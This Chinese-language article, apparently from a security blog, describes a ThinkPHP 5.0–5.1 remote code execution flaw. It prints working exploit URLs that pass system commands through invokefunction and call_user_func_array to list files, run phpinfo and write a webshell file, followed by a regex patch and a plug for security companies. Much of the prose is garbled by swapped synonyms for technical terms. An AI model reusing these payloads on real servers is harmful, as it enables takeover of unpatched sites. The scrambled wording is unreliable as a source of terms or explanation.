THINKPHP毛病修復,官方於克日,對現有的thinkphp5.0到5.1全部版本舉行了升級,以及補丁更新,這次更新重要是舉行了一些毛病修復,最嚴峻的就是之前存在的SQL注入毛病,以及長途代碼實行查詢體系的毛病都舉行了修復,官方本以為沒有題目了,但是在現實的寧靜檢測當中發明,照舊存在題目,照舊可以長途代碼舉行注入,插入非法字符,提交到辦事器后端中去。
關於這次發明的oday毛病,我們來看下官方之前更新的代碼文件是怎么樣的,更新的步伐文件路徑是library文件夾下的think目次里的app.php,如下圖:
毛病產生的緣故原由就在於這個控制器這里,整個thinkphp框架里的功效對控制器沒有舉行嚴酷的寧靜過濾於查抄,使打擊者可以偽造惡意參數舉行逼迫插入,最基礎的緣故原由就是正則的表達式寫的欠好,導致可以繞過。
在controller獲取控制器后,直接舉行賦值,但是並沒有對控制器的名舉行嚴酷的檢測,導致可以利用斜杠等特別標記來長途代碼注入。
我們來搭建一下網站的情況,apache+mysql+Linux centos體系,搭建好的測試情況地點是http://127.0.01/anquan ,我們可以直接在index.php背面偽造打擊參數,示比方下:
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
直接get方法提交到網站中去,可以直接查詢到網站當前根目次的全部文件,截圖如下:
通過該毛病也可以直接長途代碼注入實行phpinfo語句,查詢當前的php版本,路徑,擴展,以及php.ini存放的地點,都可以看得到,結構如下代碼即可。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
有些人大概會問了,既然都可以phpinfo,查詢目次文件,可不可以getshell寫網站木馬文件到網站里呢? 答案是可以的,我們測試的時間是以一句話木馬代碼的寫入到safe.php文件里。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php
關於這次thinkphp的毛病使用以及闡發到此就竣事了,該毛病屬於高危毛病,危害嚴峻性較大,許多升級更新補丁的網站都市受到打擊,乃至有些網站會被掛馬,那么該怎樣修復thinkphp的毛病呢?更換之前的正規矩表達式即可,還必要對網站的目次舉行權限擺設,防備天生php文件,對網站上的毛病舉行修復,大概是對網站寧靜防護參數舉行重新設置,使他切合其時的網站情況。假如不懂怎樣修復網站毛病,也可以找專業的網站寧靜公司來處置懲罰,海內如Sinesafe和綠盟、啟明星辰等寧靜公司比力專業.
針對付這個環境,我們要對其library/think/App.php代碼里的正規矩表達式舉行變動,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
解決方法:
'url_route_on' => true,